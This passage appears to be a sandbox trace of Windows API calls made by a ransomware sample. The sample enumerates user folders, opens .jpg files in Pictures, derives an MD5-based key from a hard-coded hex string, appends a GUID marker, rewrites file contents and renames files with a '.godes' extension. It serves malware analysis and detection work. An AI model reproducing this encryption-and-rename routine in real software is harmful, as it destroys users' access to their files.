Dictionary\\spn\\") returned="spn\\" [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.691] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.691] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.691] PathFindFileNameW (pszPath="") returned="" [0115.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.691] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.691] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.691] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.691] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.691] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.691] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0115.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.692] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.692] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.692] PathFindFileNameW (pszPath="") returned="" [0115.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.692] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.692] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.692] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.692] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.692] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.692] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.693] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.693] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.693] PathFindFileNameW (pszPath="") returned="" [0115.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33203d8 | out: hHeap=0x660000) returned 1 [0115.693] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.693] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.693] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.693] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320288 | out: hHeap=0x660000) returned 1 [0115.693] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.694] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\") returned="f5IF7l Fg-1E1w\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\") returned="K-e0Wu\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\") returned="aoQ9WvOr9RAjhS9\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\") returned="KL GUyg5\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.694] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.694] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.694] PathFindFileNameW (pszPath="") returned="" [0115.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x984674a0, ftCreationTime.dwHighDateTime=0x1d4c629, ftLastAccessTime.dwLowDateTime=0xfe4e74a0, ftLastAccessTime.dwHighDateTime=0x1d4c7f0, ftLastWriteTime.dwLowDateTime=0xfe4e74a0, ftLastWriteTime.dwHighDateTime=0x1d4c7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.694] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.694] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x984674a0, ftCreationTime.dwHighDateTime=0x1d4c629, ftLastAccessTime.dwLowDateTime=0xfe4e74a0, ftLastAccessTime.dwHighDateTime=0x1d4c7f0, ftLastWriteTime.dwLowDateTime=0xfe4e74a0, ftLastWriteTime.dwHighDateTime=0x1d4c7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.694] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb63960, ftCreationTime.dwHighDateTime=0x1d4ca41, ftLastAccessTime.dwLowDateTime=0x7e2abf40, ftLastAccessTime.dwHighDateTime=0x1d4d4ca, ftLastWriteTime.dwLowDateTime=0x7e2abf40, ftLastWriteTime.dwHighDateTime=0x1d4d4ca, nFileSizeHigh=0x0, nFileSizeLow=0x1824f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZgtF5NqrWfjyLW0T3.jpg", cAlternateFileName="ZGTF5N~1.JPG")) returned 1 [0115.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZgtF5NqrWfjyLW0T3.jpg") returned=".jpg" [0115.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZgtF5NqrWfjyLW0T3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\f5if7l fg-1e1w\\zgtf5nqrwfjylw0t3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.695] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=98895) returned 1 [0115.695] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.697] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.697] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.698] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1824f, lpOverlapped=0x0) returned 1 [0115.699] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.699] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.699] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.699] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741048) returned 1 [0115.700] CryptCreateHash (in: hProv=0x741048, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.700] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.700] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.700] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.700] GetLastError () returned 0x0 [0115.700] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.700] CryptReleaseContext (hProv=0x741048, dwFlags=0x0) returned 1 [0115.700] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.701] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1824f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.701] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.701] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.701] CloseHandle (hObject=0x624) returned 1 [0115.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x110) returned 0x328fea0 [0115.703] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x910) returned 0x331e748 [0115.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.703] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZgtF5NqrWfjyLW0T3.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\f5if7l fg-1e1w\\zgtf5nqrwfjylw0t3.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZgtF5NqrWfjyLW0T3.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\f5if7l fg-1e1w\\zgtf5nqrwfjylw0t3.jpg.godes")) returned 1 [0115.703] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.703] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x742510 | out: hHeap=0x660000) returned 1 [0115.704] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404a4fa0, ftCreationTime.dwHighDateTime=0x1d4d449, ftLastAccessTime.dwLowDateTime=0x2804a170, ftLastAccessTime.dwHighDateTime=0x1d4c65c, ftLastWriteTime.dwLowDateTime=0x2804a170, ftLastWriteTime.dwHighDateTime=0x1d4c65c, nFileSizeHigh=0x0, nFileSizeLow=0xefcb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZIdWI VbebKgRLmaFag.jpg", cAlternateFileName="ZIDWIV~1.JPG")) returned 1 [0115.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.704] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x14e) returned 0x742510 [0115.704] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZIdWI VbebKgRLmaFag.jpg") returned=".jpg" [0115.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZIdWI VbebKgRLmaFag.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\f5if7l fg-1e1w\\zidwi vbebkgrlmafag.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.705] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=61387) returned 1 [0115.705] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.707] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xefa5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.707] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.708] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.708] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.708] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.708] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xefcb, lpOverlapped=0x0) returned 1 [0115.709] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.709] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.709] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.709] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.709] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741048) returned 1 [0115.710] CryptCreateHash (in: hProv=0x741048, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.710] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.710] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.710] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.710] GetLastError () returned 0x0 [0115.710] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.710] CryptReleaseContext (hProv=0x741048, dwFlags=0x0) returned 1 [0115.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.710] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xefd0) returned 0x3325120 [0115.710] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.710] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0xefc6, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: 